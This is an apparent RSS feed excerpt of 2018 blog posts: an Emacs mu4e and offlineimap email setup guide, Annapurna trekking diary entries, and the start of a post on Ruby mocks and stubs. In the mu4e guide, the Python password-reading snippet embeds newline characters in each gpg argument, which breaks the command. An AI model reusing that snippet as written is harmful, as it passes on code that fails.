on HN. Thanks!&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Mon, 28 May 2018 22:40:13 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2018/cmake_tips/</guid></item><item><title>Do we really need 5G mobile networks? Ask GDPR and seahorses</title><link>https://stop.zona-m.net/2018/05/do-we-really-need-5g-mobile-networks-ask-gdpr-and-seahorses/</link><description>&lt;p&gt;Telecom companies say that the world needs mountains of new, way faster, Fifth Generation (=5G) mobile networks to cope with the unavoidable arrival of the Internet of Things. GDPR and seahorses may disagree.&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Mon, 28 May 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/05/do-we-really-need-5g-mobile-networks-ask-gdpr-and-seahorses/</guid></item><item><title>Trying out mu4e and offlineimap</title><link>https://xenodium.com/trying-out-mu4e-and-offlineimap</link><description>&lt;p&gt;&lt;img alt="" src="https://xenodium.github.io/images/trying-out-mu4e-and-offlineimap/mu4e.png" /&gt;&lt;/p&gt;
&lt;p&gt;Managing Email from Emacs. Surely that's crazy-talk, but hey… let's give it a try.&lt;/p&gt;
&lt;h2&gt;Install offlineimap&lt;/h2&gt;
&lt;p&gt;Need to sync via imap. Use offlineimap. I'm on macOS, so homebrew is king for installing:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;brew install offlineimap
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Before can configure offlineimap, we'll need to handle a few things first.&lt;/p&gt;
&lt;h2&gt;Get a cert fingerprint&lt;/h2&gt;
&lt;p&gt;Use openssl for getting a certificate fingerprint. From offlineimap's &lt;a href="http://www.offlineimap.org/doc/FAQ.html#view-the-fingerprint"&gt;FAQ:&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;SSL_CERT_DIR=&amp;quot;&amp;quot; openssl s_client -connect imap.migadu.com:993 &amp;lt; /dev/null 2&amp;gt;/dev/null | openssl x509 -fingerprint -noout -text -in /dev/stdin
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Should give you something like:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;SHA1 Fingerprint=AA:BB:CC:DD:EE:DD:FF:AA:00:AA:2A:AA:AA:AA:A8:20:80:AA:A2:AA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Encrypt password&lt;/h2&gt;
&lt;p&gt;Offlineimap can read passwords in plain text in its .offlineimaprc config file, but that's yuckie. Let's encrypt the password and use gnupg for that. Install it:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;brew install gnupg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you haven't already, generate a key&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;gpg --full-gen-key
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Generate an offlineimap account password file.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;echo &amp;quot;YourPassword&amp;quot; | gpg --encrypt --recipient &amp;quot;Your Name&amp;quot; -o ~/.offlineimap_accountname.gpg
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Python password wrapper&lt;/h2&gt;
&lt;p&gt;Based on Fabian's &lt;a href="https://f-koehler.github.io/posts/2015-03-17-offlineimap-msmtp-gnupg.html"&gt;Encrypt OfflineIMAP and msmtp password with GnuPG&lt;/a&gt;, I created ~/.read_password.py with:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;import os
import subprocess

def read_password(path):
  return subprocess.check_output([&amp;quot;gpg\n&amp;quot;, &amp;quot;--quiet\n&amp;quot;, &amp;quot;--batch\n&amp;quot;, &amp;quot;-d\n&amp;quot;, os.path.expanduser(path)]).strip()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;ps. Alternatively, see &lt;a href="http://stevelosh.com/blog/2012/10/the-homely-mutt/#retrieving-passwords"&gt;The homely Mutt&lt;/a&gt;'s section to store password in macOS's keychain.&lt;/p&gt;
&lt;h2&gt;Configure offlineimap&lt;/h2&gt;
&lt;p&gt;Offlineimap uses ~/.offlineimaprc for configuration. We now have all we need to put the configuration together:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-conf"&gt;[general]
accounts = Personal

# Load this python file.
pythonfile = ~/.read_password.py

[Account Personal]
localrepository = Personal-Local

remoterepository = Personal-Remote

# After syncing, let mu index it.
postsynchook = mu index --maildir ~/stuff/active/Mail

# Sync imap every 5 minutes.
autorefresh = 5

# Alternate between 10 quick syncs and full syncs.
quick = 10

[Repository Personal-Local]
type = Maildir
localfolders = ~/stuff/active/Mail/Personal

[Repository Personal-Remote]
type = IMAP
remotehost = some.imap.host.com
remoteuser = your_user_name

# Use function defined in .read_password.py to read the password.
remotepasseval = read_password(&amp;quot;~/.offlineimap_personal_account_password.gpg&amp;quot;)

# Use the SHA1 fingerprint retrieved with openssl.
cert_fingerprint = aabbccddeeddffaa00aa2aaaaaaaa82080aaa2aa
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Cert file&lt;/h3&gt;
&lt;p&gt;You can use macOS's certificates from Keychain Access -&amp;gt; System Roots -&amp;gt; Certificates, select all, and ⌘-⇧-e (for export items). Save to ~/certs.pem and use offlineimap configutation:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;sslcacertfile = /path/to/certs.pem&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Another option is executing lib/mk-ca-bundle.pl from curl's tarball to generate ca-bundle.crt, using certdata.txt from Mozilla's source tree.&lt;/p&gt;
&lt;h2&gt;Install mu4e&lt;/h2&gt;
&lt;p&gt;Manually modified mu4e recipe to pick up my Emacs binary. TIL about homebrew's edit command:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;brew edit mu
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Changed the one line:&lt;/p&gt;
&lt;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;ENV[&amp;quot;EMACS&amp;quot;] = &amp;quot;no&amp;quot; if build.without? &amp;quot;emacs&amp;quot;&lt;/li&gt;
&lt;li&gt;ENV[&amp;quot;EMACS&amp;quot;] = &amp;quot;/Users/alvaro/homebrew/Cellar/emacs-plus/26.1-rc1_2/bin/emacs&amp;quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;Finally installed mu4e:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;brew install mu
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Configure mu4e&lt;/h2&gt;
&lt;p&gt;Lastly, configure mu4e:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.commonlisp"&gt;(add-to-list 'load-path
             (expand-file-name &amp;quot;~/homebrew/share/emacs/site-lisp/mu/mu4e&amp;quot;))
(use-package mu4e
  :config
  ;; Update mail using 'U' in main view:
  (setq mu4e-get-mail-command &amp;quot;offlineimap&amp;quot;)
  (setq mu4e-view-show-addresses t)
  (setq mu4e-attachment-dir (expand-file-name &amp;quot;~/Downloads/&amp;quot;))
  (setq mu4e-maildir &amp;quot;path/to/Mail&amp;quot;)
  (setq mu4e-html2text-command &amp;quot;w3m -T text/html&amp;quot;) ;; alternatively &amp;quot;textutil -stdin -format html -convert txt -stdout&amp;quot;
  (setq mu4e-user-mail-address-list '(&amp;quot;myself@domain1.com&amp;quot;
                                      &amp;quot;myself@domain2.com&amp;quot;))
  (setq mu4e-context-policy 'pick-first)
  (setq mu4e-compose-context-policy 'always-ask)
  (setq mu4e-contexts
        (list
         (make-mu4e-context
          :name &amp;quot;domain1&amp;quot;
          :enter-func (lambda () (mu4e-message &amp;quot;Entering context myself@domain1.com&amp;quot;))
          :leave-func (lambda () (mu4e-message &amp;quot;Leaving context myself@domain1.com&amp;quot;))
          :match-func (lambda (msg)
                        (when msg
                          (mu4e-message-contact-field-matches
                           msg '(:from :to :cc :bcc) &amp;quot;myself@domain1.com&amp;quot;)))
          :vars '((user-mail-address . &amp;quot;myself@domain1.com&amp;quot;)
                  (user-full-name . &amp;quot;My name&amp;quot;)
                  (mu4e-sent-folder . &amp;quot;/Domain1/Sent&amp;quot;)
                  (mu4e-drafts-folder . &amp;quot;/Domain1/Drafts&amp;quot;)
                  (mu4e-trash-folder . &amp;quot;/Domain1/Trash&amp;quot;)
                  (mu4e-compose-signature . nil)
                  (mu4e-compose-format-flowed . nil)
                  (smtpmail-smtp-user . &amp;quot;myself@domain1.com&amp;quot;)
                  (smtpmail-smtp-server . &amp;quot;smtp.domain1.com&amp;quot;)
                  (smtpmail-smtp-service . 587)))
         (make-mu4e-context
          :name &amp;quot;domain2&amp;quot;
          :enter-func (lambda () (mu4e-message &amp;quot;Entering context myself@domain2.com&amp;quot;))
          :leave-func (lambda () (mu4e-message &amp;quot;Leaving context myself@domain2.com&amp;quot;))
          :match-func (lambda (msg)
                        (when msg
                          (mu4e-message-contact-field-matches
                           msg '(:from :to :cc :bcc) &amp;quot;myself@domain2.com&amp;quot;)))
          :vars '((user-mail-address . &amp;quot;myself@domain2.com&amp;quot;)
                  (user-full-name . &amp;quot;My name&amp;quot;)
                  (mu4e-sent-folder . &amp;quot;/Domain2/Sent&amp;quot;)
                  (mu4e-drafts-folder . &amp;quot;/Domain2/Drafts&amp;quot;)
                  (mu4e-trash-folder . &amp;quot;/Domain2/Trash&amp;quot;)
                  (mu4e-compose-signature . nil)
                  (mu4e-compose-format-flowed . nil)
                  (smtpmail-smtp-user . &amp;quot;myself@domain2.com&amp;quot;)
                  (smtpmail-smtp-server . &amp;quot;smtp.domain2.com&amp;quot;)
                  (smtpmail-smtp-service . 587))))))

(use-package smtpmail
  :config
  (setq smtpmail-stream-type 'starttls)
  (setq smtpmail-debug-info t)
  (setq smtpmail-warn-about-unknown-extensions t)
  (setq smtpmail-queue-mail t)
  (setq smtpmail-default-smtp-server nil)
  ;; Created with mu mkdir path/to/Mail/queue
  ;; Also avoid indexing.
  ;; touch path/to/Mail/queue/.noindex
  (setq smtpmail-queue-dir &amp;quot;path/to/Mail/queue/cur&amp;quot;))

(use-package message
  :config
  (setq message-send-mail-function 'smtpmail-send-it))
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Authinfo&lt;/h2&gt;
&lt;p&gt;Create an ~/.authinfo file for sendmail authentication with:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;machine smtp.host1.com login account1@host1.com password somepassword1
machine smtp.host2.com login account2@host2.com password somepassword2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Encrypt ~/.authinfo with M-x epa-encrypt-file. Keep ~/.authinfo.gpg and delete ~/.authinfo.&lt;/p&gt;
&lt;h2&gt;Mu4e helpful references&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://cachestocaches.com/2017/3/complete-guide-email-emacs-using-mu-and-"&gt;A Complete Guide to Email in Emacs using Mu and Mu4e&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/5fkq7r/a_year_with_notmuch_mail_a_superfast_email_client/"&gt;A year with Notmuch mail - a super-fast email client available on Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dev.to/shrysr/archaic-text-based-email-clients-rock-3flm"&gt;Archaic: text based email clients rock - DEV Community (lots of great links)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/areina/3879626"&gt;areina's Manage your email in emacs with mu4e&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://notanumber.io/2016-10-03/better-email-with-mu4e/"&gt;Better Email with mu4e (NaN)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://vxlabs.com/2014/06/06/configuring-emacs-mu4e-with-nullmailer-offlineimap-and-multiple-identities/"&gt;Configuring Emacs mu4e with nullmailer, offlineimap and multiple identities&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.macs.hw.ac.uk/~rs46/posts/2014-01-13-mu4e-email-client.html"&gt;Drowning in Email; mu4e to the Rescue&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ebzzry.io/en/emacs-mail/"&gt;Ebzzry: Setting up Mail in Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.kirang.in/2014/11/13/emacs-as-email-client-with-offlineimap-and-mu4e-on-osx"&gt;Emacs as email client with offlineimap and mu4e on OS X&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://zmalltalker.com/linux/mu.html"&gt;Email done right (mu)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://f-koehler.github.io/posts/2015-03-17-offlineimap-msmtp-gnupg.html"&gt;Encrypt OfflineIMAP and msmtp password with GnuPG&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://etienne.depar.is/emacs.d/mu4e.html"&gt;Etienne's Mu4e customization&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/OfflineIMAP/imapfw"&gt;GitHub - OfflineIMAP/imapfw: imapfw (IMAP/mail framework)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/kensanata/ggg"&gt;Gmail Gnus GPG Guide (GGGG)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://martinralbrecht.wordpress.com/2016/05/30/handling-email-with-emacs/"&gt;Handling Email with Emacs&lt;/a&gt; (helm included).&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/5hfcid/i_got_mu4e_working/"&gt;I got mu4e working! (Reddit)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.danielgempesaw.com/post/43467552978/installing-mu-and-mu4e-with-homebrew-with-emacs"&gt;Installing mu and mu4e with homebrew with emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/iqbalansari/dotEmacs/blob/master/config/mail.org"&gt;Iqbal Ansari's mail config&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/iqbalansari/dotEmacs/blob/master/config/mail.org"&gt;iqbalansari/dotEmacs: calendar integration&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jherrlin.github.io/posts/emacs-mu4e/"&gt;Mail in Emacs with mu4e and mbsync (jherrlin)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://pragmaticemacs.com/emacs/master-your-inbox-with-mu4e-and-org-mode/"&gt;Master your inbox with mu4e and org-mode&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/djcb/mu"&gt;Mu's github mirror&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.djcbsoftware.nl/code/mu"&gt;Mu's page&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://wenshanren.org/?p=111"&gt;mu4e: an E-mail Client for Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/danielfleischer/mu4easy"&gt;mu4easy: mu4e + mbsync configuration for multiple accounts.&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://rudolfochrist.github.io/blog/2015/03/21/offlineimap-with-ssl-files-on-osx/"&gt;OfflineIMAP with SSL files on OSX - Sebastian Christ&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=14221501"&gt;OfflineIMAP: sync and backup tool for IMAP (Hacker News) and mbsync in comments&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/redguardtoo/mastering-emacs-in-one-year-guide/blob/master/gnus-guide-en.org"&gt;Practical guide to use Gnus with Gmail&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://pragmaticemacs.com/mu4e-tutorials/"&gt;Pragmatic Emacs's mu4e tutorials&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://prodissues.com/2016/02/adding-mu4e-support-to-emacs.html"&gt;Prodissues: Adding mu4e Support To Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://prodissues.com/2016/02/emacs-gpg-for-dummies.html"&gt;Prodissues: Emacs GPG For Dummies&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ict4g.net/adolfo/notes/2014/12/27/emacs-imap.html"&gt;Reading IMAP Mail in Emacs on OSX&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://vxlabs.com/2019/07/03/send-queued-mails-in-background-with-mu4e/"&gt;Sending queued mails in the background with mu4e&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aliquote.org/post/setting-up-mu4e-1-0-c/"&gt;Setting Up Mu4e 1.0 C - aliquot&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dataswamp.org/~solene/2018-05-22-mu4esmtp.html"&gt;Solene's post: Sending mail with mu4e&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://lars.ingebrigtsen.no/2014/12/01/the-emacs-network-security-manager"&gt;The Emacs Network Security Manager&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://tech.memoryimprintstudio.com/the-ultimate-emailing-agent-with-mu4e-and-emacs"&gt;The Ultimate Emailing Agent with Mu4e and Emacs&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/8q84dl/tip_how_to_easily_manage_your_emails_with_mu4e/"&gt;TIP: How to easily manage your emails with mu4e (Reddit)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://etienne.depar.is/a-ecrit/post/2016/09/23/Two-custom-headers-for-mu4e"&gt;Two custom headers for mu4e - Étienne Deparis&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/emacs/comments/73a3gp/using_emacs_to_read_gmail/"&gt;Using Emacs to read gmail (Emacs subreddit)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.brool.com/post/using-mu4e/"&gt;Using mu4e (Brool blog)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/zamansky/using-emacs/blob/master/mu4econfig-sample.el"&gt;Zamansky mu4e's sample config&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=newRHXKm4H4"&gt;Zamansky's video on mu4e&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 28 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/trying-out-mu4e-and-offlineimap</guid></item><item><title>Annapurna Circuit - Day 17: Tatopani to Ghorepani</title><link>https://www.wildernessprime.com/expeditions/annapurna-circuit/day-17-ghorepani/</link><description>&lt;h1&gt;Easy navigation but an utterly exhausting trail up the never ending hill to Ghorepani, and beautiful Poon Hill.&lt;/h1&gt;&lt;div class="box"&gt;
	&lt;span class="image left"&gt;
		&lt;img alt="Michelle" class="image fit" src="https://res.cloudinary.com/wildernessprime/image/upload/w_100,h_100,c_fill,g_auto/v1551473387/about-photo-2.jpg" style="margin-bottom: 0;" /&gt;
	&lt;/span&gt;
	&lt;p&gt;
		I hiked the Annapurna Circuit with Michelle from &lt;a href="https://www.fulltimeexplorer.com/" target="_blank"&gt;Full Time Explorer&lt;/a&gt;. 
		She did a great write-up of our trek which she kindly let me borrow, so what you see below 
		is Michelle's text and my photos. You can find her original article at &lt;a href="https://www.fulltimeexplorer.com/annapurna-circuit-itinerary/" target="_blank"&gt;Annapurna Circuit Itinerary&lt;/a&gt;.
	&lt;/p&gt;
	&lt;div style="clear: both;"&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The trek from Tatopani to Ghorepani is probably the easiest to navigate. There are signs pointing to Ghorepani at every single intersection and the path is usually made from hand laid stones, making it the obvious route to take. Some people told us it would take 8 hours while others said 5 hours. Honestly, we probably did it in closer to 7 hours without counting stops, but it was a very long and very hot day, so I’d plan for 8 hours at the worst.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551466601/IMG_2996.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;The increase in altitude is what makes this day so difficult. The good news is, most of the path is off the main road, so you are walking uphill constantly but through beautiful little towns with amazing views. Because of the altitude gain, we stopped at least three times for tea or lunch. The tea stops were in tiny towns at the tops of hills. The lunch break was in Shikha at the Moonlight Guest House. The food was really good, but the woman there didn’t want to make me dal baht because it was too much work, and we were the only tourists. After trekking so hard, it was what I was really craving.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551466660/IMG_3012.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Once in Ghorepani, we stopped at the first hotel which is a massive building compared to other places we’ve stayed. The Asha Hotel &amp;amp; Restaurant felt a little cold and uninviting after the teahouses. It’s a cement building which was still under construction when we arrived. What sold it to us was the incredible owner, a young Nepali woman, who spent a large chunk of time in London. She was amazingly cool and insanely sweet. Once we saw the rooms which had the comfiest beds and blankets, we were totally sold.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551466695/IMG_3013%20%281%29.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;I had originally planned to continue on and even do another trek, but my hiking boots got destroyed after walking so far in them. I couldn’t fix them and there was nowhere to buy a new pair, so I had to leave the conservation area by walking to Ulleri the following day to get a Jeep.  Luckily, I met a group of four on route so we split the cost which came to 1400 rupees ($14) each.&lt;/p&gt;
&lt;p&gt;If you’re in Ghorepani, it’s worth doing the hour walk to see Poon Hill. With my sneakers ruined, and cloudy weather, we didn’t do the trek which had no views that morning.&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Mon, 28 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/annapurna-circuit/day-17-ghorepani/</guid></item><item><title>An Example of How Software Becomes Complicated</title><link>https://jorin.me/an-example-of-how-software-becomes-complicated/</link><description>Let's write a cache in JavaScript and see what it means to keep things simple.</description><author>jorin.me</author><pubDate>Sun, 27 May 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://jorin.me/an-example-of-how-software-becomes-complicated/</guid></item><item><title>Annapurna Circuit - Day 16: Ghasa to Tatopani</title><link>https://www.wildernessprime.com/expeditions/annapurna-circuit/day-16-tatopani/</link><description>&lt;h1&gt;A dangerous rock slide hampered our progress on the trail to Tatopani, ane we were exhausted by the end.&lt;/h1&gt;&lt;div class="box"&gt;
	&lt;span class="image left"&gt;
		&lt;img alt="Michelle" class="image fit" src="https://res.cloudinary.com/wildernessprime/image/upload/w_100,h_100,c_fill,g_auto/v1551473387/about-photo-2.jpg" style="margin-bottom: 0;" /&gt;
	&lt;/span&gt;
	&lt;p&gt;
		I hiked the Annapurna Circuit with Michelle from &lt;a href="https://www.fulltimeexplorer.com/" target="_blank"&gt;Full Time Explorer&lt;/a&gt;. 
		She did a great write-up of our trek which she kindly let me borrow, so what you see below 
		is Michelle's text and my photos. You can find her original article at &lt;a href="https://www.fulltimeexplorer.com/annapurna-circuit-itinerary/" target="_blank"&gt;Annapurna Circuit Itinerary&lt;/a&gt;.
	&lt;/p&gt;
	&lt;div style="clear: both;"&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;As said in the previous paragraph, we made the bright decision to do two days of trekking in one. We were still in good spirits when leaving Ghasa. We attempted to take a side trek to the left. After walking pretty far down, we realized that a crane doing roadwork above had pushed giant boulders down the slope, and they had all landed on the footpath that cut across. There are no signs indicating this blockage, and the path is covered by what looks like a landslide. It’s a complete mess and very dangerous, so don’t take this route.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551466482/IMG_2980.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Past the construction work on the road is a well-marked path that has not been effected by roadwork. Be sure to take this one. It goes directly across a suspension bridge to the other side of the river. The path hugs along the cliffs, offering beautiful views. It goes through quaint villages with little tourism. At first there isn’t much elevation change but eventually the path does go up and down a couple of steep stairs. If you do this in two days, it shouldn’t be too exhausting, but we had been trekking for over 5 hours and were pretty tired at this point. After the hills, you’ll walk through fields of corn and pathways lined with marijuana plants.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://res.cloudinary.com/wildernessprime/image/upload/w_800,dpr_auto/v1551466515/IMG_2983.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Since we did this section during the afternoon, we decided to stop in Dana for dinner. Getting here took 3.5 hours (with a few unplanned detours). We had giant plates of dal baht at the Asha Lodge and Restaurant. The food was great, and we consider staying, but were only an hour away from Tatopani if we walked on the road. We decided to skip the trail to save ourselves time, and to ensure we arrived at Tatopani before it got dark. We checked into the Hotel Trekkers Inn after finding out that the WiFi worked and there was hot water. The food is great and the staff are super friendly.&lt;/p&gt;</description><author>Wilderness Prime</author><pubDate>Sun, 27 May 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wildernessprime.com/expeditions/annapurna-circuit/day-16-tatopani/</guid></item><item><title>Mocks &amp;amp; Stubs &amp;amp; Exceptions in Ruby</title><link>https://josh.works/mocks-stubs-exceptions-ruby</link><description>&lt;p&gt;Some of my recent work has been around improving error handling and logging.&lt;/p&gt;

&lt;p&gt;We had some tasks that, if they failed to execute correctly, were &lt;em&gt;supposed&lt;/em&gt; to raise exceptions, log themselves, and re-queue, but they were not.&lt;/p&gt;

&lt;p&gt;The class in which I was working managed in large part API calls to external services, services that our team has no control over. Sometimes the services work great, sometimes they don’t. The tests for this class made heavy use of mocks, stubs, and the &lt;a href="https://github.com/vcr/vcr"&gt;VCR gem&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;This post was originally going to be about error handling, but then I realized I was getting a bit crossed up just by the mocks and stubs, so I took a quick detour into the topic, in order to build out a mental model of what was going on.&lt;/p&gt;

&lt;p&gt;As I often do, I spun up a bare-bones implementation of all of the required pieces, to see how everything was playing together. &lt;a href="https://semaphoreci.com/community/tutorials/mocking-in-ruby-with-minitest"&gt;One guide&lt;/a&gt; I found was excellent, but the sample app was a bit over-kill. I didn’t want a whole new rails app - I just wanted a class and test file.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;note: This isn’t a tutorial, per se, but it’s just two files and you can easily copy-paste the code into an editor and run the tests. I’ll link to specific commits in a github repo throughout. Clone it down, check out the commit, poke around.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This project took me through:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;stubbing&lt;/li&gt;
  &lt;li&gt;mocking&lt;/li&gt;
  &lt;li&gt;raising exceptions&lt;/li&gt;
  &lt;li&gt;rescuing exceptions&lt;/li&gt;
  &lt;li&gt;testing all of the above
&lt;!--more--&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id="what-are-mocks-and-stubs"&gt;What are mocks and stubs?&lt;/h1&gt;

&lt;p&gt;I’ll admit - the “standard definition” of mocks and stubs didn’t mean much to me. Quite a few definitions I found referenced “&lt;a href="https://martinfowler.com/articles/mocksArentStubs.html"&gt;the Fowler article&lt;/a&gt;” which, while interesting, doesn’t quite move me forward on testing Rails app &lt;em&gt;today&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;From &lt;a href="https://stackoverflow.com/a/5164709/3210178"&gt;StackOverflow&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;ul&gt;
    &lt;li&gt;mocks are objects that have a similar interface as something else&lt;/li&gt;
    &lt;li&gt;stubs are fake methods and return a specific answer&lt;/li&gt;
  &lt;/ul&gt;
&lt;/blockquote&gt;

&lt;p&gt;So, of course, I needed to see them function ‘in the wild’.&lt;/p&gt;

&lt;h1 id="eliminate-dependencies-on-other-classes-in-testing"&gt;Eliminate dependencies on other classes in testing&lt;/h1&gt;

&lt;p&gt;I decided to make up this &lt;code class="language-plaintext highlighter-rouge"&gt;service&lt;/code&gt; and &lt;code class="language-plaintext highlighter-rouge"&gt;connection&lt;/code&gt; class.&lt;/p&gt;

&lt;p&gt;Imagine I want to connect to a few different third-party services. I’ll have a &lt;code class="language-plaintext highlighter-rouge"&gt;connection&lt;/code&gt; class into which I can pass a third-party service “object”, and it should “connect”.&lt;/p&gt;

&lt;p&gt;I will assume I can call &lt;code class="language-plaintext highlighter-rouge"&gt;third_party_service.status&lt;/code&gt; and get back &lt;code class="language-plaintext highlighter-rouge"&gt;200&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;404&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;504&lt;/code&gt;, etc.&lt;/p&gt;

&lt;p&gt;I will also assume that sometimes &lt;em&gt;my own service&lt;/em&gt; will not function correctly, and so &lt;code class="language-plaintext highlighter-rouge"&gt;my_service.status&lt;/code&gt; can also be any particular status code, like &lt;code class="language-plaintext highlighter-rouge"&gt;200&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;404&lt;/code&gt;, &lt;code class="language-plaintext highlighter-rouge"&gt;504&lt;/code&gt;, etc.&lt;/p&gt;

